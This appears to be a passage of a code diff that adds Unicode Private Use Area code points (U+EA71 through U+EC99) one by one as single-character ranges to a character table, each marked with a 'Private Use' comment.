+ ["\uEA71", "\uEA71"], /* Private Use */
+ ["\uEA72", "\uEA72"], /* Private Use */
+ ["\uEA73", "\uEA73"], /* Private Use */
+ ["\uEA74", "\uEA74"], /* Private Use */
+ ["\uEA75", "\uEA75"], /* Private Use */
+ ["\uEA76", "\uEA76"], /* Private Use */
+ ["\uEA77", "\uEA77"], /* Private Use */
+ ["\uEA78", "\uEA78"], /* Private Use */
+ ["\uEA79", "\uEA79"], /* Private Use */
+ ["\uEA7A", "\uEA7A"], /* Private Use */
+ ["\uEA7B", "\uEA7B"], /* Private Use */
+ ["\uEA7C", "\uEA7C"], /* Private Use */
+ ["\uEA7D", "\uEA7D"], /* Private Use */
+ ["\uEA7E", "\uEA7E"], /* Private Use */
+ ["\uEA7F", "\uEA7F"], /* Private Use */
+ ["\uEA80", "\uEA80"], /* Private Use */
+ ["\uEA81", "\uEA81"], /* Private Use */
+ ["\uEA82", "\uEA82"], /* Private Use */
+ ["\uEA83", "\uEA83"], /* Private Use */
+ ["\uEA84", "\uEA84"], /* Private Use */
+ ["\uEA85", "\uEA85"], /* Private Use */
+ ["\uEA86", "\uEA86"], /* Private Use */
+ ["\uEA87", "\uEA87"], /* Private Use */
+ ["\uEA88", "\uEA88"], /* Private Use */
+ ["\uEA89", "\uEA89"], /* Private Use */
+ ["\uEA8A", "\uEA8A"], /* Private Use */
+ ["\uEA8B", "\uEA8B"], /* Private Use */
+ ["\uEA8C", "\uEA8C"], /* Private Use */
+ ["\uEA8D", "\uEA8D"], /* Private Use */
+ ["\uEA8E", "\uEA8E"], /* Private Use */
+ ["\uEA8F", "\uEA8F"], /* Private Use */
+ ["\uEA90", "\uEA90"], /* Private Use */
+ ["\uEA91", "\uEA91"], /* Private Use */
+ ["\uEA92", "\uEA92"], /* Private Use */
+ ["\uEA93", "\uEA93"], /* Private Use */
+ ["\uEA94", "\uEA94"], /* Private Use */
+ ["\uEA95", "\uEA95"], /* Private Use */
+ ["\uEA96", "\uEA96"], /* Private Use */
+ ["\uEA97", "\uEA97"], /* Private Use */
+ ["\uEA98", "\uEA98"], /* Private Use */
+ ["\uEA99", "\uEA99"], /* Private Use */
+ ["\uEA9A", "\uEA9A"], /* Private Use */
+ ["\uEA9B", "\uEA9B"], /* Private Use */
+ ["\uEA9C", "\uEA9C"], /* Private Use */
+ ["\uEA9D", "\uEA9D"], /* Private Use */
+ ["\uEA9E", "\uEA9E"], /* Private Use */
+ ["\uEA9F", "\uEA9F"], /* Private Use */
+ ["\uEAA0", "\uEAA0"], /* Private Use */
+ ["\uEAA1", "\uEAA1"], /* Private Use */
+ ["\uEAA2", "\uEAA2"], /* Private Use */
+ ["\uEAA3", "\uEAA3"], /* Private Use */
+ ["\uEAA4", "\uEAA4"], /* Private Use */
+ ["\uEAA5", "\uEAA5"], /* Private Use */
+ ["\uEAA6", "\uEAA6"], /* Private Use */
+ ["\uEAA7", "\uEAA7"], /* Private Use */
+ ["\uEAA8", "\uEAA8"], /* Private Use */
+ ["\uEAA9", "\uEAA9"], /* Private Use */
+ ["\uEAAA", "\uEAAA"], /* Private Use */
+ ["\uEAAB", "\uEAAB"], /* Private Use */
+ ["\uEAAC", "\uEAAC"], /* Private Use */
+ ["\uEAAD", "\uEAAD"], /* Private Use */
+ ["\uEAAE", "\uEAAE"], /* Private Use */
+ ["\uEAAF", "\uEAAF"], /* Private Use */
+ ["\uEAB0", "\uEAB0"], /* Private Use */
+ ["\uEAB1", "\uEAB1"], /* Private Use */
+ ["\uEAB2", "\uEAB2"], /* Private Use */
+ ["\uEAB3", "\uEAB3"], /* Private Use */
+ ["\uEAB4", "\uEAB4"], /* Private Use */
+ ["\uEAB5", "\uEAB5"], /* Private Use */
+ ["\uEAB6", "\uEAB6"], /* Private Use */
+ ["\uEAB7", "\uEAB7"], /* Private Use */
+ ["\uEAB8", "\uEAB8"], /* Private Use */
+ ["\uEAB9", "\uEAB9"], /* Private Use */
+ ["\uEABA", "\uEABA"], /* Private Use */
+ ["\uEABB", "\uEABB"], /* Private Use */
+ ["\uEABC", "\uEABC"], /* Private Use */
+ ["\uEABD", "\uEABD"], /* Private Use */
+ ["\uEABE", "\uEABE"], /* Private Use */
+ ["\uEABF", "\uEABF"], /* Private Use */
+ ["\uEAC0", "\uEAC0"], /* Private Use */
+ ["\uEAC1", "\uEAC1"], /* Private Use */
+ ["\uEAC2", "\uEAC2"], /* Private Use */
+ ["\uEAC3", "\uEAC3"], /* Private Use */
+ ["\uEAC4", "\uEAC4"], /* Private Use */
+ ["\uEAC5", "\uEAC5"], /* Private Use */
+ ["\uEAC6", "\uEAC6"], /* Private Use */
+ ["\uEAC7", "\uEAC7"], /* Private Use */
+ ["\uEAC8", "\uEAC8"], /* Private Use */
+ ["\uEAC9", "\uEAC9"], /* Private Use */
+ ["\uEACA", "\uEACA"], /* Private Use */
+ ["\uEACB", "\uEACB"], /* Private Use */
+ ["\uEACC", "\uEACC"], /* Private Use */
+ ["\uEACD", "\uEACD"], /* Private Use */
+ ["\uEACE", "\uEACE"], /* Private Use */
+ ["\uEACF", "\uEACF"], /* Private Use */
+ ["\uEAD0", "\uEAD0"], /* Private Use */
+ ["\uEAD1", "\uEAD1"], /* Private Use */
+ ["\uEAD2", "\uEAD2"], /* Private Use */
+ ["\uEAD3", "\uEAD3"], /* Private Use */
+ ["\uEAD4", "\uEAD4"], /* Private Use */
+ ["\uEAD5", "\uEAD5"], /* Private Use */
+ ["\uEAD6", "\uEAD6"], /* Private Use */
+ ["\uEAD7", "\uEAD7"], /* Private Use */
+ ["\uEAD8", "\uEAD8"], /* Private Use */
+ ["\uEAD9", "\uEAD9"], /* Private Use */
+ ["\uEADA", "\uEADA"], /* Private Use */
+ ["\uEADB", "\uEADB"], /* Private Use */
+ ["\uEADC", "\uEADC"], /* Private Use */
+ ["\uEADD", "\uEADD"], /* Private Use */
+ ["\uEADE", "\uEADE"], /* Private Use */
+ ["\uEADF", "\uEADF"], /* Private Use */
+ ["\uEAE0", "\uEAE0"], /* Private Use */
+ ["\uEAE1", "\uEAE1"], /* Private Use */
+ ["\uEAE2", "\uEAE2"], /* Private Use */
+ ["\uEAE3", "\uEAE3"], /* Private Use */
+ ["\uEAE4", "\uEAE4"], /* Private Use */
+ ["\uEAE5", "\uEAE5"], /* Private Use */
+ ["\uEAE6", "\uEAE6"], /* Private Use */
+ ["\uEAE7", "\uEAE7"], /* Private Use */
+ ["\uEAE8", "\uEAE8"], /* Private Use */
+ ["\uEAE9", "\uEAE9"], /* Private Use */
+ ["\uEAEA", "\uEAEA"], /* Private Use */
+ ["\uEAEB", "\uEAEB"], /* Private Use */
+ ["\uEAEC", "\uEAEC"], /* Private Use */
+ ["\uEAED", "\uEAED"], /* Private Use */
+ ["\uEAEE", "\uEAEE"], /* Private Use */
+ ["\uEAEF", "\uEAEF"], /* Private Use */
+ ["\uEAF0", "\uEAF0"], /* Private Use */
+ ["\uEAF1", "\uEAF1"], /* Private Use */
+ ["\uEAF2", "\uEAF2"], /* Private Use */
+ ["\uEAF3", "\uEAF3"], /* Private Use */
+ ["\uEAF4", "\uEAF4"], /* Private Use */
+ ["\uEAF5", "\uEAF5"], /* Private Use */
+ ["\uEAF6", "\uEAF6"], /* Private Use */
+ ["\uEAF7", "\uEAF7"], /* Private Use */
+ ["\uEAF8", "\uEAF8"], /* Private Use */
+ ["\uEAF9", "\uEAF9"], /* Private Use */
+ ["\uEAFA", "\uEAFA"], /* Private Use */
+ ["\uEAFB", "\uEAFB"], /* Private Use */
+ ["\uEAFC", "\uEAFC"], /* Private Use */
+ ["\uEAFD", "\uEAFD"], /* Private Use */
+ ["\uEAFE", "\uEAFE"], /* Private Use */
+ ["\uEAFF", "\uEAFF"], /* Private Use */
+ ["\uEB00", "\uEB00"], /* Private Use */
+ ["\uEB01", "\uEB01"], /* Private Use */
+ ["\uEB02", "\uEB02"], /* Private Use */
+ ["\uEB03", "\uEB03"], /* Private Use */
+ ["\uEB04", "\uEB04"], /* Private Use */
+ ["\uEB05", "\uEB05"], /* Private Use */
+ ["\uEB06", "\uEB06"], /* Private Use */
+ ["\uEB07", "\uEB07"], /* Private Use */
+ ["\uEB08", "\uEB08"], /* Private Use */
+ ["\uEB09", "\uEB09"], /* Private Use */
+ ["\uEB0A", "\uEB0A"], /* Private Use */
+ ["\uEB0B", "\uEB0B"], /* Private Use */
+ ["\uEB0C", "\uEB0C"], /* Private Use */
+ ["\uEB0D", "\uEB0D"], /* Private Use */
+ ["\uEB0E", "\uEB0E"], /* Private Use */
+ ["\uEB0F", "\uEB0F"], /* Private Use */
+ ["\uEB10", "\uEB10"], /* Private Use */
+ ["\uEB11", "\uEB11"], /* Private Use */
+ ["\uEB12", "\uEB12"], /* Private Use */
+ ["\uEB13", "\uEB13"], /* Private Use */
+ ["\uEB14", "\uEB14"], /* Private Use */
+ ["\uEB15", "\uEB15"], /* Private Use */
+ ["\uEB16", "\uEB16"], /* Private Use */
+ ["\uEB17", "\uEB17"], /* Private Use */
+ ["\uEB18", "\uEB18"], /* Private Use */
+ ["\uEB19", "\uEB19"], /* Private Use */
+ ["\uEB1A", "\uEB1A"], /* Private Use */
+ ["\uEB1B", "\uEB1B"], /* Private Use */
+ ["\uEB1C", "\uEB1C"], /* Private Use */
+ ["\uEB1D", "\uEB1D"], /* Private Use */
+ ["\uEB1E", "\uEB1E"], /* Private Use */
+ ["\uEB1F", "\uEB1F"], /* Private Use */
+ ["\uEB20", "\uEB20"], /* Private Use */
+ ["\uEB21", "\uEB21"], /* Private Use */
+ ["\uEB22", "\uEB22"], /* Private Use */
+ ["\uEB23", "\uEB23"], /* Private Use */
+ ["\uEB24", "\uEB24"], /* Private Use */
+ ["\uEB25", "\uEB25"], /* Private Use */
+ ["\uEB26", "\uEB26"], /* Private Use */
+ ["\uEB27", "\uEB27"], /* Private Use */
+ ["\uEB28", "\uEB28"], /* Private Use */
+ ["\uEB29", "\uEB29"], /* Private Use */
+ ["\uEB2A", "\uEB2A"], /* Private Use */
+ ["\uEB2B", "\uEB2B"], /* Private Use */
+ ["\uEB2C", "\uEB2C"], /* Private Use */
+ ["\uEB2D", "\uEB2D"], /* Private Use */
+ ["\uEB2E", "\uEB2E"], /* Private Use */
+ ["\uEB2F", "\uEB2F"], /* Private Use */
+ ["\uEB30", "\uEB30"], /* Private Use */
+ ["\uEB31", "\uEB31"], /* Private Use */
+ ["\uEB32", "\uEB32"], /* Private Use */
+ ["\uEB33", "\uEB33"], /* Private Use */
+ ["\uEB34", "\uEB34"], /* Private Use */
+ ["\uEB35", "\uEB35"], /* Private Use */
+ ["\uEB36", "\uEB36"], /* Private Use */
+ ["\uEB37", "\uEB37"], /* Private Use */
+ ["\uEB38", "\uEB38"], /* Private Use */
+ ["\uEB39", "\uEB39"], /* Private Use */
+ ["\uEB3A", "\uEB3A"], /* Private Use */
+ ["\uEB3B", "\uEB3B"], /* Private Use */
+ ["\uEB3C", "\uEB3C"], /* Private Use */
+ ["\uEB3D", "\uEB3D"], /* Private Use */
+ ["\uEB3E", "\uEB3E"], /* Private Use */
+ ["\uEB3F", "\uEB3F"], /* Private Use */
+ ["\uEB40", "\uEB40"], /* Private Use */
+ ["\uEB41", "\uEB41"], /* Private Use */
+ ["\uEB42", "\uEB42"], /* Private Use */
+ ["\uEB43", "\uEB43"], /* Private Use */
+ ["\uEB44", "\uEB44"], /* Private Use */
+ ["\uEB45", "\uEB45"], /* Private Use */
+ ["\uEB46", "\uEB46"], /* Private Use */
+ ["\uEB47", "\uEB47"], /* Private Use */
+ ["\uEB48", "\uEB48"], /* Private Use */
+ ["\uEB49", "\uEB49"], /* Private Use */
+ ["\uEB4A", "\uEB4A"], /* Private Use */
+ ["\uEB4B", "\uEB4B"], /* Private Use */
+ ["\uEB4C", "\uEB4C"], /* Private Use */
+ ["\uEB4D", "\uEB4D"], /* Private Use */
+ ["\uEB4E", "\uEB4E"], /* Private Use */
+ ["\uEB4F", "\uEB4F"], /* Private Use */
+ ["\uEB50", "\uEB50"], /* Private Use */
+ ["\uEB51", "\uEB51"], /* Private Use */
+ ["\uEB52", "\uEB52"], /* Private Use */
+ ["\uEB53", "\uEB53"], /* Private Use */
+ ["\uEB54", "\uEB54"], /* Private Use */
+ ["\uEB55", "\uEB55"], /* Private Use */
+ ["\uEB56", "\uEB56"], /* Private Use */
+ ["\uEB57", "\uEB57"], /* Private Use */
+ ["\uEB58", "\uEB58"], /* Private Use */
+ ["\uEB59", "\uEB59"], /* Private Use */
+ ["\uEB5A", "\uEB5A"], /* Private Use */
+ ["\uEB5B", "\uEB5B"], /* Private Use */
+ ["\uEB5C", "\uEB5C"], /* Private Use */
+ ["\uEB5D", "\uEB5D"], /* Private Use */
+ ["\uEB5E", "\uEB5E"], /* Private Use */
+ ["\uEB5F", "\uEB5F"], /* Private Use */
+ ["\uEB60", "\uEB60"], /* Private Use */
+ ["\uEB61", "\uEB61"], /* Private Use */
+ ["\uEB62", "\uEB62"], /* Private Use */
+ ["\uEB63", "\uEB63"], /* Private Use */
+ ["\uEB64", "\uEB64"], /* Private Use */
+ ["\uEB65", "\uEB65"], /* Private Use */
+ ["\uEB66", "\uEB66"], /* Private Use */
+ ["\uEB67", "\uEB67"], /* Private Use */
+ ["\uEB68", "\uEB68"], /* Private Use */
+ ["\uEB69", "\uEB69"], /* Private Use */
+ ["\uEB6A", "\uEB6A"], /* Private Use */
+ ["\uEB6B", "\uEB6B"], /* Private Use */
+ ["\uEB6C", "\uEB6C"], /* Private Use */
+ ["\uEB6D", "\uEB6D"], /* Private Use */
+ ["\uEB6E", "\uEB6E"], /* Private Use */
+ ["\uEB6F", "\uEB6F"], /* Private Use */
+ ["\uEB70", "\uEB70"], /* Private Use */
+ ["\uEB71", "\uEB71"], /* Private Use */
+ ["\uEB72", "\uEB72"], /* Private Use */
+ ["\uEB73", "\uEB73"], /* Private Use */
+ ["\uEB74", "\uEB74"], /* Private Use */
+ ["\uEB75", "\uEB75"], /* Private Use */
+ ["\uEB76", "\uEB76"], /* Private Use */
+ ["\uEB77", "\uEB77"], /* Private Use */
+ ["\uEB78", "\uEB78"], /* Private Use */
+ ["\uEB79", "\uEB79"], /* Private Use */
+ ["\uEB7A", "\uEB7A"], /* Private Use */
+ ["\uEB7B", "\uEB7B"], /* Private Use */
+ ["\uEB7C", "\uEB7C"], /* Private Use */
+ ["\uEB7D", "\uEB7D"], /* Private Use */
+ ["\uEB7E", "\uEB7E"], /* Private Use */
+ ["\uEB7F", "\uEB7F"], /* Private Use */
+ ["\uEB80", "\uEB80"], /* Private Use */
+ ["\uEB81", "\uEB81"], /* Private Use */
+ ["\uEB82", "\uEB82"], /* Private Use */
+ ["\uEB83", "\uEB83"], /* Private Use */
+ ["\uEB84", "\uEB84"], /* Private Use */
+ ["\uEB85", "\uEB85"], /* Private Use */
+ ["\uEB86", "\uEB86"], /* Private Use */
+ ["\uEB87", "\uEB87"], /* Private Use */
+ ["\uEB88", "\uEB88"], /* Private Use */
+ ["\uEB89", "\uEB89"], /* Private Use */
+ ["\uEB8A", "\uEB8A"], /* Private Use */
+ ["\uEB8B", "\uEB8B"], /* Private Use */
+ ["\uEB8C", "\uEB8C"], /* Private Use */
+ ["\uEB8D", "\uEB8D"], /* Private Use */
+ ["\uEB8E", "\uEB8E"], /* Private Use */
+ ["\uEB8F", "\uEB8F"], /* Private Use */
+ ["\uEB90", "\uEB90"], /* Private Use */
+ ["\uEB91", "\uEB91"], /* Private Use */
+ ["\uEB92", "\uEB92"], /* Private Use */
+ ["\uEB93", "\uEB93"], /* Private Use */
+ ["\uEB94", "\uEB94"], /* Private Use */
+ ["\uEB95", "\uEB95"], /* Private Use */
+ ["\uEB96", "\uEB96"], /* Private Use */
+ ["\uEB97", "\uEB97"], /* Private Use */
+ ["\uEB98", "\uEB98"], /* Private Use */
+ ["\uEB99", "\uEB99"], /* Private Use */
+ ["\uEB9A", "\uEB9A"], /* Private Use */
+ ["\uEB9B", "\uEB9B"], /* Private Use */
+ ["\uEB9C", "\uEB9C"], /* Private Use */
+ ["\uEB9D", "\uEB9D"], /* Private Use */
+ ["\uEB9E", "\uEB9E"], /* Private Use */
+ ["\uEB9F", "\uEB9F"], /* Private Use */
+ ["\uEBA0", "\uEBA0"], /* Private Use */
+ ["\uEBA1", "\uEBA1"], /* Private Use */
+ ["\uEBA2", "\uEBA2"], /* Private Use */
+ ["\uEBA3", "\uEBA3"], /* Private Use */
+ ["\uEBA4", "\uEBA4"], /* Private Use */
+ ["\uEBA5", "\uEBA5"], /* Private Use */
+ ["\uEBA6", "\uEBA6"], /* Private Use */
+ ["\uEBA7", "\uEBA7"], /* Private Use */
+ ["\uEBA8", "\uEBA8"], /* Private Use */
+ ["\uEBA9", "\uEBA9"], /* Private Use */
+ ["\uEBAA", "\uEBAA"], /* Private Use */
+ ["\uEBAB", "\uEBAB"], /* Private Use */
+ ["\uEBAC", "\uEBAC"], /* Private Use */
+ ["\uEBAD", "\uEBAD"], /* Private Use */
+ ["\uEBAE", "\uEBAE"], /* Private Use */
+ ["\uEBAF", "\uEBAF"], /* Private Use */
+ ["\uEBB0", "\uEBB0"], /* Private Use */
+ ["\uEBB1", "\uEBB1"], /* Private Use */
+ ["\uEBB2", "\uEBB2"], /* Private Use */
+ ["\uEBB3", "\uEBB3"], /* Private Use */
+ ["\uEBB4", "\uEBB4"], /* Private Use */
+ ["\uEBB5", "\uEBB5"], /* Private Use */
+ ["\uEBB6", "\uEBB6"], /* Private Use */
+ ["\uEBB7", "\uEBB7"], /* Private Use */
+ ["\uEBB8", "\uEBB8"], /* Private Use */
+ ["\uEBB9", "\uEBB9"], /* Private Use */
+ ["\uEBBA", "\uEBBA"], /* Private Use */
+ ["\uEBBB", "\uEBBB"], /* Private Use */
+ ["\uEBBC", "\uEBBC"], /* Private Use */
+ ["\uEBBD", "\uEBBD"], /* Private Use */
+ ["\uEBBE", "\uEBBE"], /* Private Use */
+ ["\uEBBF", "\uEBBF"], /* Private Use */
+ ["\uEBC0", "\uEBC0"], /* Private Use */
+ ["\uEBC1", "\uEBC1"], /* Private Use */
+ ["\uEBC2", "\uEBC2"], /* Private Use */
+ ["\uEBC3", "\uEBC3"], /* Private Use */
+ ["\uEBC4", "\uEBC4"], /* Private Use */
+ ["\uEBC5", "\uEBC5"], /* Private Use */
+ ["\uEBC6", "\uEBC6"], /* Private Use */
+ ["\uEBC7", "\uEBC7"], /* Private Use */
+ ["\uEBC8", "\uEBC8"], /* Private Use */
+ ["\uEBC9", "\uEBC9"], /* Private Use */
+ ["\uEBCA", "\uEBCA"], /* Private Use */
+ ["\uEBCB", "\uEBCB"], /* Private Use */
+ ["\uEBCC", "\uEBCC"], /* Private Use */
+ ["\uEBCD", "\uEBCD"], /* Private Use */
+ ["\uEBCE", "\uEBCE"], /* Private Use */
+ ["\uEBCF", "\uEBCF"], /* Private Use */
+ ["\uEBD0", "\uEBD0"], /* Private Use */
+ ["\uEBD1", "\uEBD1"], /* Private Use */
+ ["\uEBD2", "\uEBD2"], /* Private Use */
+ ["\uEBD3", "\uEBD3"], /* Private Use */
+ ["\uEBD4", "\uEBD4"], /* Private Use */
+ ["\uEBD5", "\uEBD5"], /* Private Use */
+ ["\uEBD6", "\uEBD6"], /* Private Use */
+ ["\uEBD7", "\uEBD7"], /* Private Use */
+ ["\uEBD8", "\uEBD8"], /* Private Use */
+ ["\uEBD9", "\uEBD9"], /* Private Use */
+ ["\uEBDA", "\uEBDA"], /* Private Use */
+ ["\uEBDB", "\uEBDB"], /* Private Use */
+ ["\uEBDC", "\uEBDC"], /* Private Use */
+ ["\uEBDD", "\uEBDD"], /* Private Use */
+ ["\uEBDE", "\uEBDE"], /* Private Use */
+ ["\uEBDF", "\uEBDF"], /* Private Use */
+ ["\uEBE0", "\uEBE0"], /* Private Use */
+ ["\uEBE1", "\uEBE1"], /* Private Use */
+ ["\uEBE2", "\uEBE2"], /* Private Use */
+ ["\uEBE3", "\uEBE3"], /* Private Use */
+ ["\uEBE4", "\uEBE4"], /* Private Use */
+ ["\uEBE5", "\uEBE5"], /* Private Use */
+ ["\uEBE6", "\uEBE6"], /* Private Use */
+ ["\uEBE7", "\uEBE7"], /* Private Use */
+ ["\uEBE8", "\uEBE8"], /* Private Use */
+ ["\uEBE9", "\uEBE9"], /* Private Use */
+ ["\uEBEA", "\uEBEA"], /* Private Use */
+ ["\uEBEB", "\uEBEB"], /* Private Use */
+ ["\uEBEC", "\uEBEC"], /* Private Use */
+ ["\uEBED", "\uEBED"], /* Private Use */
+ ["\uEBEE", "\uEBEE"], /* Private Use */
+ ["\uEBEF", "\uEBEF"], /* Private Use */
+ ["\uEBF0", "\uEBF0"], /* Private Use */
+ ["\uEBF1", "\uEBF1"], /* Private Use */
+ ["\uEBF2", "\uEBF2"], /* Private Use */
+ ["\uEBF3", "\uEBF3"], /* Private Use */
+ ["\uEBF4", "\uEBF4"], /* Private Use */
+ ["\uEBF5", "\uEBF5"], /* Private Use */
+ ["\uEBF6", "\uEBF6"], /* Private Use */
+ ["\uEBF7", "\uEBF7"], /* Private Use */
+ ["\uEBF8", "\uEBF8"], /* Private Use */
+ ["\uEBF9", "\uEBF9"], /* Private Use */
+ ["\uEBFA", "\uEBFA"], /* Private Use */
+ ["\uEBFB", "\uEBFB"], /* Private Use */
+ ["\uEBFC", "\uEBFC"], /* Private Use */
+ ["\uEBFD", "\uEBFD"], /* Private Use */
+ ["\uEBFE", "\uEBFE"], /* Private Use */
+ ["\uEBFF", "\uEBFF"], /* Private Use */
+ ["\uEC00", "\uEC00"], /* Private Use */
+ ["\uEC01", "\uEC01"], /* Private Use */
+ ["\uEC02", "\uEC02"], /* Private Use */
+ ["\uEC03", "\uEC03"], /* Private Use */
+ ["\uEC04", "\uEC04"], /* Private Use */
+ ["\uEC05", "\uEC05"], /* Private Use */
+ ["\uEC06", "\uEC06"], /* Private Use */
+ ["\uEC07", "\uEC07"], /* Private Use */
+ ["\uEC08", "\uEC08"], /* Private Use */
+ ["\uEC09", "\uEC09"], /* Private Use */
+ ["\uEC0A", "\uEC0A"], /* Private Use */
+ ["\uEC0B", "\uEC0B"], /* Private Use */
+ ["\uEC0C", "\uEC0C"], /* Private Use */
+ ["\uEC0D", "\uEC0D"], /* Private Use */
+ ["\uEC0E", "\uEC0E"], /* Private Use */
+ ["\uEC0F", "\uEC0F"], /* Private Use */
+ ["\uEC10", "\uEC10"], /* Private Use */
+ ["\uEC11", "\uEC11"], /* Private Use */
+ ["\uEC12", "\uEC12"], /* Private Use */
+ ["\uEC13", "\uEC13"], /* Private Use */
+ ["\uEC14", "\uEC14"], /* Private Use */
+ ["\uEC15", "\uEC15"], /* Private Use */
+ ["\uEC16", "\uEC16"], /* Private Use */
+ ["\uEC17", "\uEC17"], /* Private Use */
+ ["\uEC18", "\uEC18"], /* Private Use */
+ ["\uEC19", "\uEC19"], /* Private Use */
+ ["\uEC1A", "\uEC1A"], /* Private Use */
+ ["\uEC1B", "\uEC1B"], /* Private Use */
+ ["\uEC1C", "\uEC1C"], /* Private Use */
+ ["\uEC1D", "\uEC1D"], /* Private Use */
+ ["\uEC1E", "\uEC1E"], /* Private Use */
+ ["\uEC1F", "\uEC1F"], /* Private Use */
+ ["\uEC20", "\uEC20"], /* Private Use */
+ ["\uEC21", "\uEC21"], /* Private Use */
+ ["\uEC22", "\uEC22"], /* Private Use */
+ ["\uEC23", "\uEC23"], /* Private Use */
+ ["\uEC24", "\uEC24"], /* Private Use */
+ ["\uEC25", "\uEC25"], /* Private Use */
+ ["\uEC26", "\uEC26"], /* Private Use */
+ ["\uEC27", "\uEC27"], /* Private Use */
+ ["\uEC28", "\uEC28"], /* Private Use */
+ ["\uEC29", "\uEC29"], /* Private Use */
+ ["\uEC2A", "\uEC2A"], /* Private Use */
+ ["\uEC2B", "\uEC2B"], /* Private Use */
+ ["\uEC2C", "\uEC2C"], /* Private Use */
+ ["\uEC2D", "\uEC2D"], /* Private Use */
+ ["\uEC2E", "\uEC2E"], /* Private Use */
+ ["\uEC2F", "\uEC2F"], /* Private Use */
+ ["\uEC30", "\uEC30"], /* Private Use */
+ ["\uEC31", "\uEC31"], /* Private Use */
+ ["\uEC32", "\uEC32"], /* Private Use */
+ ["\uEC33", "\uEC33"], /* Private Use */
+ ["\uEC34", "\uEC34"], /* Private Use */
+ ["\uEC35", "\uEC35"], /* Private Use */
+ ["\uEC36", "\uEC36"], /* Private Use */
+ ["\uEC37", "\uEC37"], /* Private Use */
+ ["\uEC38", "\uEC38"], /* Private Use */
+ ["\uEC39", "\uEC39"], /* Private Use */
+ ["\uEC3A", "\uEC3A"], /* Private Use */
+ ["\uEC3B", "\uEC3B"], /* Private Use */
+ ["\uEC3C", "\uEC3C"], /* Private Use */
+ ["\uEC3D", "\uEC3D"], /* Private Use */
+ ["\uEC3E", "\uEC3E"], /* Private Use */
+ ["\uEC3F", "\uEC3F"], /* Private Use */
+ ["\uEC40", "\uEC40"], /* Private Use */
+ ["\uEC41", "\uEC41"], /* Private Use */
+ ["\uEC42", "\uEC42"], /* Private Use */
+ ["\uEC43", "\uEC43"], /* Private Use */
+ ["\uEC44", "\uEC44"], /* Private Use */
+ ["\uEC45", "\uEC45"], /* Private Use */
+ ["\uEC46", "\uEC46"], /* Private Use */
+ ["\uEC47", "\uEC47"], /* Private Use */
+ ["\uEC48", "\uEC48"], /* Private Use */
+ ["\uEC49", "\uEC49"], /* Private Use */
+ ["\uEC4A", "\uEC4A"], /* Private Use */
+ ["\uEC4B", "\uEC4B"], /* Private Use */
+ ["\uEC4C", "\uEC4C"], /* Private Use */
+ ["\uEC4D", "\uEC4D"], /* Private Use */
+ ["\uEC4E", "\uEC4E"], /* Private Use */
+ ["\uEC4F", "\uEC4F"], /* Private Use */
+ ["\uEC50", "\uEC50"], /* Private Use */
+ ["\uEC51", "\uEC51"], /* Private Use */
+ ["\uEC52", "\uEC52"], /* Private Use */
+ ["\uEC53", "\uEC53"], /* Private Use */
+ ["\uEC54", "\uEC54"], /* Private Use */
+ ["\uEC55", "\uEC55"], /* Private Use */
+ ["\uEC56", "\uEC56"], /* Private Use */
+ ["\uEC57", "\uEC57"], /* Private Use */
+ ["\uEC58", "\uEC58"], /* Private Use */
+ ["\uEC59", "\uEC59"], /* Private Use */
+ ["\uEC5A", "\uEC5A"], /* Private Use */
+ ["\uEC5B", "\uEC5B"], /* Private Use */
+ ["\uEC5C", "\uEC5C"], /* Private Use */
+ ["\uEC5D", "\uEC5D"], /* Private Use */
+ ["\uEC5E", "\uEC5E"], /* Private Use */
+ ["\uEC5F", "\uEC5F"], /* Private Use */
+ ["\uEC60", "\uEC60"], /* Private Use */
+ ["\uEC61", "\uEC61"], /* Private Use */
+ ["\uEC62", "\uEC62"], /* Private Use */
+ ["\uEC63", "\uEC63"], /* Private Use */
+ ["\uEC64", "\uEC64"], /* Private Use */
+ ["\uEC65", "\uEC65"], /* Private Use */
+ ["\uEC66", "\uEC66"], /* Private Use */
+ ["\uEC67", "\uEC67"], /* Private Use */
+ ["\uEC68", "\uEC68"], /* Private Use */
+ ["\uEC69", "\uEC69"], /* Private Use */
+ ["\uEC6A", "\uEC6A"], /* Private Use */
+ ["\uEC6B", "\uEC6B"], /* Private Use */
+ ["\uEC6C", "\uEC6C"], /* Private Use */
+ ["\uEC6D", "\uEC6D"], /* Private Use */
+ ["\uEC6E", "\uEC6E"], /* Private Use */
+ ["\uEC6F", "\uEC6F"], /* Private Use */
+ ["\uEC70", "\uEC70"], /* Private Use */
+ ["\uEC71", "\uEC71"], /* Private Use */
+ ["\uEC72", "\uEC72"], /* Private Use */
+ ["\uEC73", "\uEC73"], /* Private Use */
+ ["\uEC74", "\uEC74"], /* Private Use */
+ ["\uEC75", "\uEC75"], /* Private Use */
+ ["\uEC76", "\uEC76"], /* Private Use */
+ ["\uEC77", "\uEC77"], /* Private Use */
+ ["\uEC78", "\uEC78"], /* Private Use */
+ ["\uEC79", "\uEC79"], /* Private Use */
+ ["\uEC7A", "\uEC7A"], /* Private Use */
+ ["\uEC7B", "\uEC7B"], /* Private Use */
+ ["\uEC7C", "\uEC7C"], /* Private Use */
+ ["\uEC7D", "\uEC7D"], /* Private Use */
+ ["\uEC7E", "\uEC7E"], /* Private Use */
+ ["\uEC7F", "\uEC7F"], /* Private Use */
+ ["\uEC80", "\uEC80"], /* Private Use */
+ ["\uEC81", "\uEC81"], /* Private Use */
+ ["\uEC82", "\uEC82"], /* Private Use */
+ ["\uEC83", "\uEC83"], /* Private Use */
+ ["\uEC84", "\uEC84"], /* Private Use */
+ ["\uEC85", "\uEC85"], /* Private Use */
+ ["\uEC86", "\uEC86"], /* Private Use */
+ ["\uEC87", "\uEC87"], /* Private Use */
+ ["\uEC88", "\uEC88"], /* Private Use */
+ ["\uEC89", "\uEC89"], /* Private Use */
+ ["\uEC8A", "\uEC8A"], /* Private Use */
+ ["\uEC8B", "\uEC8B"], /* Private Use */
+ ["\uEC8C", "\uEC8C"], /* Private Use */
+ ["\uEC8D", "\uEC8D"], /* Private Use */
+ ["\uEC8E", "\uEC8E"], /* Private Use */
+ ["\uEC8F", "\uEC8F"], /* Private Use */
+ ["\uEC90", "\uEC90"], /* Private Use */
+ ["\uEC91", "\uEC91"], /* Private Use */
+ ["\uEC92", "\uEC92"], /* Private Use */
+ ["\uEC93", "\uEC93"], /* Private Use */
+ ["\uEC94", "\uEC94"], /* Private Use */
+ ["\uEC95", "\uEC95"], /* Private Use */
+ ["\uEC96", "\uEC96"], /* Private Use */
+ ["\uEC97", "\uEC97"], /* Private Use */
+ ["\uEC98", "\uEC98"], /* Private Use */
+ ["\uEC99", "\uEC99"], /* Private Use */
